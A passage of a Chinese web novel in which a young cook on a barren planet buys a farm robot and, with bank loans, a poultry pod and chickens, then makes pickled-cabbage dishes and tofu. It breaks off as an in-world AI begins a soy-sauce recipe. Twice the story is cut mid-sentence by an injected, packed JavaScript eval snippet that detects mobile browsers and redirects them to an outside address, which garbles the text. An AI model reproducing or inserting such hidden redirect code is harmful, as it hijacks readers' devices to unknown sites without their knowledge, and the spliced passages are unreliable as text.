今天的订单还没做完。一百八十多份蛋炒饭,还有几十份辣白菜。他的手臂还在痛,他的腰还在酸,他的手掌上的茧子又厚了一层。 但他的脚步是轻快的。 因为他知道,这种“一个人撑起整个店”的日子,快要结束了。 夏炎序系上围裙,打开食物处理器,开始煮今天的第四锅星米饭。 窗外,夕阳正在沉入地平线。天空从橘红渐变成深紫,两颗卫星升起来了。远处的稻田在晚风中沙沙作响,像一首轻柔的摇篮曲。 他一边炒饭一边想,等机器人到了,他要做的第一件事不是休息——虽然他很想休息——而是去研究那道一直在计划中的新菜。 用小白菜做的。不,不是辣白菜。是另一种做法。 他想念那个味道很久了。 9. 会下蛋的荒星 三天后,“农夫一型”农业机器人准时送达。 快递舱在寄送终端上出现的时候,夏炎序正好炒完今天的第一批蛋炒饭。他擦了擦手,走到门口,看着那个银灰色的快递舱自动打开,露出里面那个方方正正的金属箱子。 它比宣传图上看起来更……朴实。大概有一米见方,灰白色的金属外壳上印着“农夫一型”的标识和制造商的名字。四个轮子缩在底盘下面,顶部的机械臂折叠着收在箱体上,像一个蜷缩着睡觉的金属婴儿。 夏炎序蹲下来,按下了机器人的启动按钮。 一阵轻微的嗡鸣声响起,机器人表面的指示灯从红色变成了绿色。机械臂缓缓展开,上下伸缩了一下,像是在伸懒腰。四个轮子微微转动,调整了一下方向。然后,一个冰冷的、毫无感情的合成音从机器人的扬声器里传出来: “农夫一型,编号FX-7791-001,启动完成。请进行基础设置。” 夏炎序按照说明书上的指引,在机器人的控制面板上设置了工作区域——两亩半的星米田和半亩的小白菜地。设置了作物类型——星米、速生小白菜。设置了工作模式——自动播种、自动收割、自动搬运。 “设置完成。农夫一型进入待机状态。” 夏炎序拍了拍机器人的金属外壳,手感冰凉而坚硬。 “行了,”他说,“从现在开始,我的农场就拜托给你了。” 机器人没有回应。它只是一个方方正正的金属箱子,不会聊天,不会开玩笑,不会在你累的时候给你倒杯水。但它能干活,这就够了。 夏炎序站起来,回到厨房,继续炒饭。 有了机器人接手农活,他终于可以从繁重的田间劳动中解放出来,把全部精力投入到烹饪中。但他的大脑并没有因此清闲下来——恰恰相反,一个酝酿了很久的念头,现在终于有时间去认真思考了。 蛋。 真正的蛋。 他现在用的蛋白合成粉虽然口感不错,但它毕竟不是真正的鸡蛋。蛋炒饭的灵魂是什么?是蛋。是那种蛋白嫩滑、蛋黄香浓、在热油中迅速凝固时散发出的独特香气。蛋白合成粉能做到七八分像,但剩下的那两三分,是任何合成技术都无法替代的。 他需要真正的蛋。 但KX-7791上没有鸡。这颗星球的原生动物主要是小型昆虫和类似爬行类的生物,没有任何鸟类。他不可能在这颗荒星上找到一只会下蛋的鸡。 但他可以引进。 夏炎序打开星网,搜索“星际活体动物运输”“食用禽类购买”“养殖用蛋禽”。搜索结果让他大开眼界——联邦的活体动物贸易比地球上的跨境电商还方便,从常见的“标准农场鸡”到各种外星系的珍稀禽类,只要付得起钱,几乎什么都能买到。 但问题是,他没有养鸡的经验。而且,他不想在荒星上搞一个传统的养鸡场——那需要大量的空间、饲料、人力,还会产生难闻的气味和大量的粪便。他的小屋后面虽然有一块空地,但面积不大,大概只有二三十平方米。传统养鸡的方式,根本行不通。 他需要一种更先进的解决方案。 夏炎序在搜索栏里输入了“小型禽类养殖设备”“城市养鸡系统”“家庭养殖舱”。这一次,搜索结果里出现了一个让他眼睛一亮的产品—— “生态养殖舱(基础型)” 制造商:联邦生物科技公司。产品描述:一款专为家庭和小型农场设计的全自动生态养殖舱。采用空间扩容技术,外部占地面积仅4平方米,内部有效使用面积达40平方米。内置环境控制系统,自动调节温度、湿度、光照。配备智能喂养系统、自动清洁系统、健康监测系统。可饲养各类小型禽类(鸡、鸭、鹌鹑等),最大饲养容量30只。支持后续升级,可扩展至100只容量,可增加模拟生态环境模块、昆虫饲养模块、水培植物模块,形成小型生态循环链。 价格:基础型 4800星币。 夏炎序盯着这个数字,沉默了很久。 四千八百星币。比“农夫一型”机器人还贵两千。他现在的账户余额是多少?贷款还没到账,他刚花了3150星币买机器人,账户里还剩450星币。加上贷款到账后的3000星币,总共3450星币。 还是不够。差了一千三百多星币。 而且,买了养殖舱之后,他还要买鸡。联邦标准农场鸡的种苗价格是50星币一只(含检疫证明和运输费用)。如果买十只——四只母鸡、六只公鸡?不,不对,他要的是蛋,应该多买母鸡。十只母鸡,两只是备用的公鸡,总共十二只,又是600星币。 再加上饲料——虽然养殖舱有自动喂养系统,但饲料要自己买。基础型禽类饲料,每公斤2星币,三十只鸡一个月大约需要一百公斤,也就是200星币。 夏炎序靠在椅背上,盯着天花板上的裂缝,大脑飞速运转。 他需要更多的资金。但他刚贷了3000星币,现在又去申请贷款,银行会怎么想?而且,他的信用评级还是F级,这次能批下来,全靠经营数据够亮眼。再申请一笔,审核员会不会觉得他太冒进了? 他打开星网银行页面,看了一眼自己的贷款状态:“已发放,资金将在24小时内到账。” 然后又看了一眼自己的账户余额:450星币。 他犹豫了一下,点开了“小微商户绿色通道”的页面,重新提交了一笔贷款申请。 金额:5000星币。 用途:购买生态养殖舱及禽类种苗,用于提升菜品品质,扩大经营规模。 这一次,审核速度快得惊人——不到五分钟,视频面审的邀请就弹了出来。 屏幕上出现的还是上次那个年轻男人,看起来比之前更随和了,甚至带着点笑意。 “夏先生,又见面了。你上一笔贷款还没到账呢,这么快就来申请第二笔?” 夏炎序有点尴尬地笑了笑:“是的,我临时决定增加一项投资。之前只考虑了机器人,后来发现我还需要一套养殖设备。” 审核员看了一眼屏幕上的申请信息,挑了挑眉。“生态养殖舱?你要养鸡?” “对。我现在用的蛋白合成粉虽然不错,但真正的鸡蛋能让我的蛋炒饭品质提升一个档次。而且——”他顿了顿,“我觉得星际联邦的人应该尝尝真正的鸡蛋是什么味道的。” 审核员沉默了两秒,然后笑了。 “说实话,我在这个岗位上干了六年,见过各种各样的贷款申请——有人买飞船、买采矿设备、买农场、买店铺——但从来没听说过有人贷款买鸡的。” 夏炎序不知道该说什么,只能干笑了一声。 “不过——”审核员话锋一转,“你的经营数据确实很强。上周的流水已经突破了5000星币,这个增速在小微商户里非常罕见。而且你的顾客评价——我看了微表情分析报告——97%的正面反馈率,这个数据比很多经营了几年的老店都好。” 他停顿了一下,似乎在思考什么。 “这样吧,我给你批4000星币。利率还是4.5%,3个月期限。加上你手上现有的资金,应该够买养殖舱和种苗了。另外,我建议你选择‘生态养殖舱’的分期付款方案——制造商和银行有合作,可以分6期免息支付。这样你的资金压力会小很多。” 夏炎序愣了一下,然后赶紧在星网上搜索“生态养殖舱分期付款”。果然,商品页面上有一个选项:“选择星际银行分期支付,6期免息,每期800星币。” 他的心跳加速了。 分期付款。每期800星币,六期还清。这意味着他不需要一次性拿出4800星币,只需要付第一期的800星币,就能把养殖舱拿到手。 “确认。”他说,“我接受。” “贷款已审批通过,4000星币将在24小时内到账 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420246|200807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。另外,你的上一笔贷款也快到账了。两笔合计7000星币,加上你现有的资金,足够你完成计划了。祝你生意兴隆,夏先生。” 屏幕上的对话窗口关闭了。 夏炎序坐在桌前,盯着屏幕,嘴角翘得压都压不下去。 七千星币。加上他现有的450星币,总共7450星币。减去已经花掉的3150星币(机器人),还剩4300星币。 够买养殖舱了。够买鸡了。够买饲料了。 他深吸一口气,打开了“生态养殖舱”的商品页面,选择了“分期付款(6期免息)”,点击了“立即购买”。 商品价格:4800星币。首期支付:800星币。运费:从最近的中转仓库到KX-7791,需要经过两次空间跳跃,运费500星币(因为体积较大)。总计首期支付:1300星币。 他点了“确认购买”。 “嘀——购买成功。生态养殖舱(基础型)预计送达时间:5-7个标准日。请确保安装场地平整、有充足日照(用于太阳能供电)。” 然后他打开了“联邦标准农场鸡”的商品页面。 种苗:标准农场鸡(产蛋型),成年母鸡50星币/只,公鸡45星币/只。他想了想,决定买十只母鸡,两只公鸡。总共:10×50 + 2×45 = 590星币。运费:活体动物专用运输舱,350星币。总计:940星币。 他点了“确认购买”。 “嘀——购买成功。活体种苗预计送达时间:3-5个标准日。请在送达前完成养殖舱的安装与调试。” 夏炎序关掉终端,靠在椅背上,长长地呼出一口气。 机器人、养殖舱、鸡。 三天后,他的荒星上会有第一台农业机器人。五天后,会有第一个生态养殖舱。一周后,会有第一批活蹦乱跳的鸡。 他低头看了看自己的手。手掌上的茧子又厚了一层,指甲缝里还嵌着洗不掉的星椒红色。这双手,一个月前还在敲键盘,现在却在荒星上种地、炒饭、养鸡。 他笑了一下,站起来,走到窗前,推开窗户。 KX-7791的下午阳光照进来,暖橙色的光线铺满了整个小屋。远处,农夫一型已经在田里开始工作了——方方正正的金属箱子在稻田中缓慢移动,机械臂精准地收割着一株株成熟的星米,动作比他自己用手拔快了好几倍。 他看了一会儿,然后转身走向厨房。 今天的订单还没做完。但他的脚步是轻快的。 因为他知道,用不了多久,他就能用真正的鸡蛋来做蛋炒饭了。 那碗蛋炒饭的味道,会是什么样呢? 夏炎序系上围裙,打开食物处理器,开始煮今天的第五锅星米饭。 他一边等饭熟,一边在脑海中勾勒着小屋后面的空地。四平方米的养殖舱,占地面积不大,但内部有四十平方米的空间。三十只鸡在里面生活,有自动喂食、自动清洁、自动健康监测。没有异味,没有噪音,不会打扰到他做饭。 而且,养殖舱支持无限升级。等以后有钱了,他可以买空间扩容模块,把内部面积从四十平方米扩展到一百平方米。可以买模拟生态环境模块,在里面种上植物,养上昆虫,形成一个完整的生态链。甚至可以买不同禽类的适配模块,养一些外星系的珍稀鸟类——那些他从来没听说过的、会下出五颜六色蛋的奇异生物。 他的蛋炒饭,会变得越来越丰富,越来越独特。 夏炎序一边翻炒着锅里的蛋炒饭,一边想着那些遥远的、美好的可能性。 橘色的米粒在锅中跳跃,蛋白合成糊在热油中迅速凝固,星葱的香气弥漫在整个小屋里。 他用勺子舀了一口送进嘴里,嚼了嚼。 嗯。还不错。 但他知道,一周之后,当第一批真正的鸡蛋出现在他的厨房里时,这碗蛋炒饭的味道,会变得更好。 10. 第三道菜 养殖舱和鸡还在路上,但夏炎序的厨房里已经多了几样新东西。 农夫一型到货后的第二天,他就让机器人把田里的活全包了。腾出手来的第一个下午,他没有去补觉——虽然他已经连续一周每天只睡五个小时——而是站在厨房里,面对那堆小白菜发呆。 三十公斤小白菜,做了辣白菜之后还剩一大半。他不想再做辣白菜了——不是不好吃,而是菜单上需要多样性。辣白菜是发酵食品,味道浓郁,适合当配菜。但他还需要一道用新鲜蔬菜做的菜,一道能体现小白菜本身清甜口感的菜。 蒜蓉炒小白菜。这是他的第一反应。但没有蒜,这条路走不通。 白灼小白菜。淋上热油和酱油。但没有酱油。 小白菜豆腐汤。没有豆腐。 小白菜馅饺子。没有面粉,没有肉,没有调味料。 夏炎序盯着那堆小白菜,忽然觉得自己像是在玩一个极其困难的烹饪游戏——食材库里只有几样东西,却要变出一道新菜。他开始在脑海中盘点自己目前所有的食材: 主食:星米。蔬菜:小白菜、星葱、星椒、星盐草。调味品:星椒酱、星盐粉、植物调和油。蛋白质:蛋白合成粉(存货不多了,他打算再买一点等着生蛋)。 就这些。 他需要从这些有限的食材里,创造出一道全新的、和蛋炒饭、辣白菜风格不同的菜。 夏炎序闭上眼睛,让大脑自由联想。 小白菜……清甜……脆嫩……需要油……需要咸味……需要一点鲜味……没有蒜……没有姜……但是有星葱……有星椒……有星盐草…… 星葱的辛香,星椒的微辣,星盐草的咸味回甘,小白菜的清甜。 他睁开眼睛。 也许可以做一个凉拌菜。 地球上有“炝拌白菜”的做法——小白菜焯水后过凉,挤干水分,用热油炝香葱花和干辣椒,淋在白菜上,加盐、醋、糖调味。他没有醋,没有糖,但有星椒酱——星椒酱里有天然的果香和微甜,可以替代一部分糖的作用。醋呢?没有醋,酸味从哪里来? 他想了想,目光落在了角落里的辣白菜上。辣白菜的发酵液——酸辣鲜香,里面含有乳酸、氨基酸和多种风味物质。这不就是天然的“醋”吗? 夏炎序走到辣白菜盒子前,打开盒盖,用勺子舀了一点发酵液出来,放进嘴里尝了尝。 酸。辣。鲜。咸。还有一股淡淡的果香和发酵特有的复杂风味。 他的嘴角翘了起来。 就是这个。 他转身回到灶台前,开始动手。 第一步:处理小白菜。他从那堆小白菜里挑了十几棵最嫩的,去掉老叶和根部,用过滤水洗干净。农夫一型已经把新一批小白菜种下去了,但这批老的还没用完,他决定用最嫩的部分来做这道新菜。 第二步:烧水。食物处理器切换到加热模式,加满水,烧到沸腾。 第三步:焯水。小白菜放入沸水中,烫三十秒。不能太久——太久就软了,失去了脆嫩的口感。三十秒后捞出,立刻放入冰水中过凉。这一步叫“过冷河”,能锁住白菜的翠绿色和脆度。 第四步:挤干水分。过凉后的白菜用手轻轻挤干——不能太用力,会把白菜挤烂;也不能太轻,残留的水分会稀释调味料的味道。 第五步:调味。挤干的白菜放在一个大碗里,加入星盐粉、切碎的星葱、一小勺星椒酱、两勺辣白菜发酵液。用手抓匀,让每一片白菜叶都裹上调味料。 第六步:炝油。这是最关键的步骤。他把小锅放在加热板上,倒入少量植物调和油,烧到微微冒烟。然后迅速把切好的星葱碎末(这次用的是葱白部分,更香)撒在拌好的白菜上,再把热油“滋啦”一声浇上去。 葱香在热油的激发下瞬间炸开,和星椒的辣、发酵液的酸鲜混合在一起,形成了一种复杂的、层次分明的香气。 夏炎序用筷子夹了一片白菜叶,放进嘴里。 脆。白菜的茎部还是脆的,咬下去能听到“咔嚓”一声。甜。白菜叶的清甜在酸辣的衬托下更加明显。香。热油炝过的葱香弥漫在整个口腔里。酸。发酵液的乳酸味清爽开胃。辣。星椒的微辣在舌尖上跳动,不猛烈,但足够让人胃口大开。 他嚼了嚼,又夹了一片。 好吃。和蛋炒饭的温热浓郁不同,和辣白菜的酸辣醇厚也不同。这道菜是清爽的、脆嫩的、开胃的。它像是一阵清新的风,吹散了蛋炒饭和辣白菜带来的厚重感。 “炝拌小白菜。”夏炎序给自己做的这道新菜取了一个名字,想了想这名字也不是他原创的。 他想了想,又在前面加了一个字:“星葱炝拌小白菜。” 然后他打开多功能终端,在蓝星食铺的商品列表里,添加了第三道菜。 商品名称:星葱炝拌小白菜 定价:4星币/份(200克) 商品描述:“用KX-7791自产速生小白菜、原生星葱和星椒发酵液,采用地球传统炝拌工艺手工制作。小白菜脆嫩爽口,酸辣开胃,热油炝香的星葱碎末提供了浓郁的香气。适合作为开胃菜或配菜,与蛋炒饭搭配食用风味更佳。” 他盯着这个新上架的菜品,嘴角翘了翘。 三道菜了。 虽然还是很少,但比两道菜多了一道。而且这道菜的成本极低——小白菜是自己种的,星葱是野生的,发酵液是辣白菜的副产品,只有星盐粉和油算一点点成本。定价4星币,利润空间比蛋炒饭还大。 他保存了商品信息,然后退回到后台首页。 营业中的绿色徽章还在闪烁。今天的订单已经有六十多份了,大部分是蛋炒饭,辣白菜也开始有人买了——主要是那些买了试吃装之后觉得不错,回头来买标准装的。 现在有了第三道菜,也许能吸引更多人尝试。 夏炎序关掉终端,开始准备今天的订单。 炝拌小白菜上架后的第一个小时,没有人点。第二个小时,有一个人点了——是老客户,之前买过三次蛋炒饭和一个辣白菜试吃装。第三个小时,又多了三个人点。 到当天结束的时候,炝拌小白菜卖出了十七份。 不多,但这是一个开始。 更重要的是,这十七个客人的评价——微表情分析报告显示,正面反馈率100%。其中“口感脆嫩”一项获得了所有用户的满分好评,“酸辣开胃”也有94%的满意度。 夏炎序在笔记本上记了一笔:炝拌小白菜,配方稳定,可以批量制作。 然后他翻到新的一页,在最上面写了一行字: 下一道菜:豆腐。 他想念豆腐已经很久了。不是那种用蛋白合成粉调出来的、口感类似于嫩豆腐的东西——而是一块真正的豆腐。洁白的、嫩滑的、豆香浓郁的豆腐。 可以做麻婆豆腐。可以做小葱拌豆腐。可以做豆腐汤。可以做冻豆腐。可以做豆腐干。一块豆腐,能变出几十道菜。 但要做出豆腐,他需要豆浆。要做出豆浆,他需要大豆。而KX-7791上没有大豆。 除非,这颗星球上有类似大豆的植物。 夏炎序打开星网,开始搜索“KX-7791 豆科植物”“高蛋白植物”“油脂含量高的植物种子”。原主的生态调查报告里有详细的植物名录,他之前只看了“辛辣味植物”那一部分,还有很多内容没有仔细看。 搜索结果里出现了一个他之前忽略的词条: “KX-未编号47:豆科植物,直立灌木,高约1-1.5米。种子呈扁圆形,直径约0.8厘米,种皮淡黄色。蛋白质含量约32%,脂肪含量约18%。干燥后研磨成粉,可制作高蛋白食品。分布:KX-7791全境,多见于河岸湿地。” 夏炎序盯着这个描述,嘴巴越张越大。 蛋白质含量32%,脂肪含量18%。大豆的蛋白质含量大约是35-40%,脂肪含量大约是15-20%。这个数据,几乎和大豆一模一样。 他马上将这种植物命名为“星豆”。 星豆。他的星球上有星豆。 夏炎序从椅子上弹起来,打开星网地图,查找星豆的分布位置。地图上标注了几个区域——最近的在一片河岸湿地,距离小屋大约十五公里。 十五公里。走路的话,单程要三个多小时。来回就是七个小时。他根本没有这个时间——每天的订单还等着他做呢。 他需要交通工具。那辆飞行器,一千五百星币。他现在有钱了——账户余额加上贷款,减去已经花掉的,还剩大约两千多星币。够买飞行器了。但他刚买了机器人和养殖舱,又贷了两笔款,再花钱买飞行器,现金流就太紧张了。 而且,飞行器买回来之后,他还要花时间学习驾驶。那东西不是自行车,不是上去就能开的。他需要看说明书,需要练习,需要熟悉操作。这些都意味着时间,而他最缺的就是时间。 夏炎序靠在椅背上,盯着天花板,大脑飞速运转。 他需要星豆。但他去不了。 他需要飞行器。但他没时间学。 他需要一个人帮他去采星豆。但他是一个人。 他需要一个——等等。 他有一个机器人。 农夫一型。那个方方正正的金属箱子,会自动驾驶,会导航,会执行指令。它能在田里播种收割,为什么不能去野外采集? 夏炎序猛地坐直了,打开农夫一型的操作手册,翻到“功能扩展”那一章。 “农夫一型支持自定义路径规划功能。用户可在星网地图上绘制行进路线,并设置采集目标(植物类型、采集数量等)。机器人将自动沿规划路线行进,识别目标植物并进行采集。注意:本功能仅适用于平坦地形,最大行进距离不超过20公里(单程)。” 夏炎序的嘴角翘了起来。 二十公里。足够到河岸湿地了。平坦地形?从地图上看,小屋到湿地的路线大部分是平原,只有一小段缓坡,应该没问题。 他立刻开始设置。在农夫一型的控制面板上打开星网地图,绘制从小屋到河岸湿地的路线——十五公里,预计行进时间两小时(机器人的最高速度不快,但胜在稳定)。设置采集目标:星豆(他手动输入了植物的特征描述——直立灌木,高1-1.5米,扁圆形黄色种子),采集数量:10公斤种子(鲜重)。 “任务已设置。农夫一型将于明日06:00自动出发执行采集任务。” 夏炎序拍了拍机器人的金属外壳。“明天就看你的了。” 机器人没有回应。但它的指示灯闪了闪,像是在说“收到”。 第二天清晨,夏炎序在灶台前炒蛋炒饭的时候,透过窗户看到农夫一型准时出发了。方方正正的金属箱子沿着预定的路线缓缓移动,四个轮子在黑土地上留下两道浅浅的车辙印。他目送它消失在地平线尽头,然后继续炒饭。 六个小时后——确切地说,是五小时四十七分钟——农夫一型回来了。 它的机械臂上挂着一个用旧包装袋改装的简易容器(夏炎序昨晚临时做的) ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420247|200807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,里面装满了淡黄色的、扁圆形的种子。 星豆。 夏炎序蹲下来,捧起一把星豆,放在手心里端详。每一颗大约黄豆的两倍大,种皮光滑,呈淡黄色,在阳光下泛着微微的光泽。他凑近闻了闻——有一股淡淡的豆腥味,和地球上的大豆非常相似。 他拿起一颗,放进嘴里咬了咬。硬的。味道有一点点苦,带着豆类特有的生涩味。不能生吃,但这就是豆子。他几乎能百分之百确定,这种东西可以做成豆腐。 但他需要先处理这些星豆。十公斤鲜豆,晒干之后大约能得七八公斤。这些豆子可以用来做很多事情——做豆腐、做豆浆、做酱油、榨油。 夏炎序把星豆摊开在阳光下晾晒,然后回到厨房,打开星网,开始搜索“豆腐制作方法”“星际时代豆腐”“豆浆凝固剂”。搜索结果让他有些失望——联邦的食品工业完全是另一套体系,没有人做豆腐,也没有人卖石膏粉、盐卤这些传统的凝固剂。 但他翻到了一条联邦农业研究中心的论文摘要,标题是《植物蛋白的凝固特性研究》。论文指出,植物蛋白在酸性条件下可以发生凝固,形成凝胶状食品。最有效的凝固剂是——乳酸。 夏炎序愣了一下,然后慢慢地、慢慢地笑了起来。 乳酸。 他有一整盒正在发酵的辣白菜。辣白菜的发酵液里,充满了乳酸。 他站起来,走到角落里那盒辣白菜前面,蹲下来,打开盒盖。酸辣的香气扑鼻而来。他用勺子舀了一碗发酵液,回到灶台前。 然后他开始尝试做豆腐。 第一次,失败了。他把星豆泡了一夜,磨成豆浆,过滤,煮沸,然后加入发酵液。结果豆浆凝固成了一团稀烂的絮状物,不成形,像打碎的酸奶。 第二次,调整了发酵液的用量。少放一些,慢慢加,边加边搅拌。这一次,凝固的效果好了很多,絮状物变成了小颗粒,但还是不成块。 第三次,他在煮沸豆浆之后先晾了一会儿,等温度降到七八十度再慢慢加入发酵液。这一次,乳白色的豆浆表面开始出现细小的凝固物,然后越来越多,越来越密,最后连成了一片。他用勺子轻轻地把凝固物压进一个铺了纱布的盒子里,盖上盖子,压上重物。 半小时后,他打开盒子,揭开纱布。 一块豆腐。 洁白的、嫩滑的、散发着淡淡豆香的豆腐。 夏炎序用手指轻轻戳了戳豆腐的表面。微微颤动,富有弹性。他用刀切下一小块,放进嘴里。 嫩。滑。豆香浓郁。带着一点点发酵液带来的微酸,但整体味道非常接近地球上的嫩豆腐。 他闭上眼睛,让这块豆腐在舌尖上慢慢融化。 他想起了很多年前,外婆在老家做豆腐的场景。石磨磨豆子,纱布滤豆浆,卤水点豆腐。那时候他还小,站在灶台边,踮着脚看外婆把卤水滴进豆浆里,豆浆慢慢凝固成一朵朵白色的云。 “豆腐好了,”外婆会笑着说,“给你做麻婆豆腐。” 夏炎序睁开眼睛,眼眶有点热。 他低头看了看手里的那块豆腐——用星豆做的,用辣白菜发酵液点的,在一颗距离地球不知道多少光年的荒星上。 “外婆,”他轻声说,“我做出豆腐了。” 然后他系上围裙,开始做今天的第四道菜——小葱拌豆腐。 没有小葱,但有星葱。没有芝麻油,但有植物调和油。没有盐,但有星盐粉。足够了。 他把豆腐切成小方块,放在碗里。撒上切碎的星葱末和星盐粉。把小锅烧热,倒油,油热后浇在葱末上。“滋啦”一声,葱香四溢。轻轻拌匀,白色的豆腐、绿色的葱花、清亮的油光,简单而美好。 他舀了一口送进嘴里。 豆腐的嫩滑在舌尖上化开,星葱的辛香在口腔中弥漫,星盐粉的咸味带着草木回甘。清淡、鲜美、纯粹。 这是他来到星际时代后,吃到的最像“家”的味道。不是蛋炒饭那种饱腹的满足,不是辣白菜那种刺激的开胃,而是豆腐带来的、安静的、温柔的慰藉。 夏炎序端着碗,坐在窗前,看着KX-7791的夕阳慢慢沉入地平线。远处的稻田在晚风中沙沙作响,农夫一型在田边安静地充电,养殖舱的快递还在路上。 他吃完了碗里最后一块豆腐,然后把碗洗干净,走到桌前,打开多功能终端,在蓝星食铺的商品列表里,添加了第四道菜。 商品名称:星葱拌豆腐 定价:6星币/份(300克) 商品描述:“用KX-7791自产星豆手工制作的嫩豆腐,搭配原生星葱和星盐粉,采用地球传统拌菜工艺制作。豆腐嫩滑,豆香浓郁,星葱辛香提味,清淡爽口。适合作为凉菜或配菜。” 然后他退回到后台首页,看着菜单上从两道菜变成了四道菜,忽然觉得,这颗荒星好像没有那么荒了。 星米在田里生长,小白菜在分批收获,辣白菜在角落里发酵,星豆在阳光下晾晒,鸡和养殖舱正在跨越星空的路上。 而他的厨房里,永远有一碗热气腾腾的蛋炒饭,一碟酸辣脆爽的辣白菜,一份清爽开胃的炝拌小白菜,和一盘嫩滑鲜美的星葱拌豆腐。 蓝星食铺,四道菜了。 夏炎序关掉终端,躺到床上,闭上眼睛。 角落里,辣白菜的发酵声“咕噜咕噜”的,像一首催眠曲。窗外,农夫一型的指示灯在黑暗中闪烁着微弱的绿光。 他翻了个身,嘴角带着笑。 明天,他要研究怎么做酱油。 11. 酱油的诞生 豆腐做出来之后,夏炎序在厨房里站了很久。 他看着桌上那几块洁白嫩滑的豆腐,脑子里想的却不是豆腐——而是酱油。没有酱油的豆腐,就像没有星星的夜空。星葱拌豆腐好吃,但它缺了点什么。缺那种深沉的、复杂的、咸中带甜的、能穿透一切食材的醇厚味道。 他走进厨房,拿出一个碗,倒了小半碗植物调和油,又加了一点星盐粉,用筷子搅了搅,蘸了一点放进嘴里。又咸又油。仅此而已。没有酱油那种闻起来有豆香和焦糖的复合香气,咸味之外还有回甘,鲜味之后还有余韵。做红烧肉要放酱油,炒菜要放酱油,拌凉菜要放酱油,就连蛋炒饭——如果有一滴酱油,就好了。 但他不知道酱油怎么做。 在地球上的时候,他从来没有想过这个问题。酱油是很平常的东西,十几块钱一瓶,能用好几个月。他从来没想过这些东西是怎么从一颗豆子变成一瓶深褐色的液体的。发酵?他知道酱油是发酵的。黄豆、盐、水,放在缸里晒。然后呢?晒多久?怎么晒?要不要加什么菌种?要不要翻缸?要不要过滤?要不要熬煮? 他一无所知。 夏炎序在桌前坐下,打开多功能终端,盯着屏幕发呆。星网上没有酱油——他早就搜过很多次了。联邦的食品数据库里根本没有“酱油”这个词条。这意味着,没有人知道酱油是什么,没有人做过酱油,也没有人教他怎么做酱油。 他只能靠自己。 但靠自己不是靠记忆——他的记忆里没有酱油的制作方法。他只能靠推理。他知道酱油的原料是豆子和盐。他知道酱油是发酵的。他知道酱油的颜色是深褐色的,味道是咸鲜回甘的。他知道酱油在烹饪中的作用是提鲜、上色、增香。 这些信息够了吗?夏炎序不知道。但他想起了星网上那个强大的工具——星际AI。联邦的AI系统几乎能做任何事情:分析数据、生成方案、模拟实验、优化流程。只要你把需求描述得足够清晰,AI就能给你一个可行的方案。 夏炎序深吸一口气,打开了星网的“AI科研助手”页面。这是联邦向所有公民开放的免费服务——虽然免费版有每日使用次数限制,但对于他这种偶尔使用的人来说,完全够用了。 他在输入框中写道: “我需要制作一种调味品,叫做‘酱油’。以下是关于这种调味品的所有已知信息——” 然后他开始打字,一个字一个字地,把他对酱油的所有了解都写了下来。 “原料:酱油的主要原料是豆类(我手上有一种叫‘星豆’的植物种子,蛋白质含量约32%,脂肪含量约18%)和盐(我手上有‘星盐草’研磨的盐粉,咸味纯净,有草木回甘)。有些酱油的制作过程中还会加入谷物(如仙女座螺旋麦),但我目前没有谷物,不确定是否必须。” “制作工艺:酱油是通过发酵制成的。豆类经过蒸煮后,与盐混合,在特定的环境条件下进行长期发酵。发酵过程中,微生物会分解豆类中的蛋白质和淀粉,产生氨基酸、糖类和多种风味物质,最终形成酱油特有的色香味。” “外观:酱油应该是深褐色的液体,质地比水略浓稠,倒在容器壁上能看到挂壁现象。颜色深浅因发酵时间和配方而异,但总体应该是红褐色到深褐色。” “香气:酱油应该有浓郁的酱香和豆香,带有焦糖、果脯、蘑菇等复合香气。香气应该是醇厚的、深沉的、有层次感的,而不是单一的咸味或酸味。” “味道:酱油的味道应该是咸、鲜、甜、苦、酸五味平衡,以咸鲜为主,回口有甘甜。鲜味来自于氨基酸,甜味来自于糖类,咸味来自于盐,微苦和微酸来自于发酵产物。好的酱油入口咸而不齁,回味悠长。” “烹饪用途:酱油是烹饪中的调味品之一。它可以用于炒菜(在热油中激发出香气)、红烧(给肉类上色和增味)、凉拌(直接拌入凉菜)、蘸料(作为蘸酱的基底)。酱油在高温下会产生美拉德反应,生成更多的香气物质。酱油也可以与糖、醋、姜、蒜等其他调味品搭配,形成复杂的复合风味。” “补充信息:我目前手上有星豆、星盐粉、星葱、星椒、辣白菜发酵液(富含乳酸菌)。我有基础的食物处理器和烹饪工具。我有恒温环境(小屋温度稳定在18-22摄氏度)。我有几个密封容器可以用来做发酵实验。” “我的问题:1. 星豆是否适合制作酱油?2. 我没有小麦等谷物,是否会影响发酵?3. 我需要什么菌种?4. 具体的制作步骤是什么?5. 发酵需要多长时间?6. 如何判断发酵是否成功?7. 有没有可能用辣白菜发酵液中的乳酸菌来辅助发酵?8. 请提供2-3个可行方案,按照成功率从高到低排序。” 他检查了一遍,确认没有遗漏,然后按下了“提交”。 AI的回复比他预想的快得多。不到三十秒,屏幕上就弹出了一份详细的报告。 夏炎序屏住呼吸,开始阅读。 “分析完成。针对您的需求‘酱油’,基于您提供的原料信息(星豆、星盐粉)和环境条件,AI已推算出3个可行方案。请注意:由于本产品在联邦食品数据库中无记录,以下方案均为基于食品科学原理的推算,实际效果需要您自行验证。” 方案一:传统发酵法(预估成功率:75%) 原理:利用米曲霉(Aspergillus 